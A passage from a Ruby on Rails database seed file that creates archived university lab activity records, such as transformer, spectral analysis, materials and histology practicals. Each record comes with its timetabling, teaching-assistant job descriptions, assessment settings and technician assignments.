a573.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 20, takedown_time: 20, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a573.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a573.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a573.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a573.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a573.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a574 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode51\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"Mechatronics 1\", archived: true, in_drive: true, user_id: 3)\n at574 = ActivityTimetable.where(activity_id: a574.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a574.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a574.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a574.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a574.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a575 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode52\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"Mechatronics 2\", archived: true, in_drive: false, user_id: 4)\n at575 = ActivityTimetable.where(activity_id: a575.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a575.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a575.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a575.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a575.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n\n\n a576 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"unknowncode53\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS+\", archived: true, in_drive: false, user_id: 2)\n at576 = ActivityTimetable.where(activity_id: a576.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a576.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a576.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a576.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a576.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a576.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a577 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode54\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: true, in_drive: false, user_id: 5)\n at577 = ActivityTimetable.where(activity_id: a577.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a577.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a577.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a577.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a577.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a578 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"unknowncode55\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: true, in_drive: false, user_id: 1)\n at578 = ActivityTimetable.where(activity_id: a578.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a578.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a578.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a578.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a578.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a578.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a579 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode56\").first_or_create!(name: \"Spectral Analysis\",\n name_abrv: \"SA\", archived: true, in_drive: false, user_id: 5)\n at579 = ActivityTimetable.where(activity_id: a579.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a579.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a579.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a579.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a579.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a580 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"unknowncode57\").first_or_create!(name: \"Spectral Analysis Extra\",\n name_abrv: \"SAX\", archived: true, in_drive: false, user_id: 4)\n at580 = ActivityTimetable.where(activity_id: a580.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a580.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a580.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a580.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a580.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a580.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a581 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"unknowncode58\").first_or_create!(name: \"INDUMACH\",\n name_abrv: \"INDUMACH\", archived: true, in_drive: false, user_id: 3)\n at581 = ActivityTimetable.where(activity_id: a581.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 5, setup_time: 5, takedown_time: 5, notes: \"\",\n capacity: 14, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a581.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a581.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a581.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a581.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a581.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a582 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"unknowncode59\").first_or_create!(name: \"Spectral Analysis\",\n name_abrv: \"SA\", archived: true, in_drive: false, user_id: 2)\n at582 = ActivityTimetable.where(activity_id: a582.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a582.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a582.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a582.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a582.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a582.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a583 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode60\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: true, in_drive: false, user_id: 3)\n at583 = ActivityTimetable.where(activity_id: a583.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a583.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a583.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a583.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a583.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a583.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a584 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode61\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: true, in_drive: false, user_id: 4)\n at584 = ActivityTimetable.where(activity_id: a584.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a584.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a584.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a584.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a584.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a584.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a585 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"unknowncode62\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: true, in_drive: false, user_id: 4)\n at585 = ActivityTimetable.where(activity_id: a585.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a585.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a585.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a585.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a585.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a585.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a586 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"unknowncode63\").first_or_create!(name: \"Wood composite\",\n name_abrv: \"WOODCOMP\", archived: true, in_drive: false, user_id: 3)\n at586 = ActivityTimetable.where(activity_id: a586.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a586.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a586.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a586.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a586.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a586.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a587 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode64\").first_or_create!(name: \"Impact testing\",\n name_abrv: \"IMPACTTESTING\", archived: true, in_drive: false, user_id: 4)\n at587 = ActivityTimetable.where(activity_id: a587.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a587.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a587.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will compare the impact toughness for steels of two different composition and two different processing conditions, using impact testers.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a587.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a587.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a587.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a588 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode65\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: true, in_drive: false, user_id: 5)\n at588 = ActivityTimetable.where(activity_id: a588.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a588.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a588.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will gain experience in using tensile test frames and extract mechanical properties from them such as Young’s modulus, yield stress, and ultimate strength for steels of different composition.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a588.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a588.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a588.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a589 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode66\").first_or_create!(name: \"Concrete Making & Testing\",\n name_abrv: \"WOODCOMP\", archived: true, in_drive: false, user_id: 3)\n at589 = ActivityTimetable.where(activity_id: a589.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a589.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a589.id).first_or_create!(criteria: \"\",\n job_desc:\"To understand the basic processes involved in cement hydration.To develop an understanding of mix design parameters on mortar rheology and strength.To gain experience in how to deal with statistical variation associated with destructive testing of brittle materials. Techniques used compression testing.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a589.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a589.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a589.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a590 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1510\").first.id, code: \"unknowncode67\").first_or_create!(name: \"Histology/Microscopy\",\n name_abrv: \"HIST/MICRO\", archived: true, in_drive: false, user_id: 4)\n at590 = ActivityTimetable.where(activity_id: a590.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a590.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a590.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a590.id).first_or_create!(assess_weight: nil, notes: \"Claire is MEE lead. We don't do post-lab assessment for this lab practical.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a590.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a590.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a591 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"unknowncode68\").first_or_create!(name: \"Microscopy\",\n name_abrv: \"MICROSCOPY\", archived: true, in_drive: false, user_id: 3)\n at591 = ActivityTimetable.where(activity_id: a591.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a591.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a591.id).first_or_create!(criteria: \"\",\n job_desc:\"Using digital camera and Motic software to take images of stained tissue sections\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a591.id).first_or_create!(assess_weight: nil, notes: \"Includes histology staining\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a591.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a591.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a592 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"unknowncode69\").first_or_create!(name: \"Histology staining\",\n name_abrv: \"HISTSTAINING\", archived: true, in_drive: false, user_id: 5)\n at592 = ActivityTimetable.where(activity_id: a592.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 25, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a592.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: 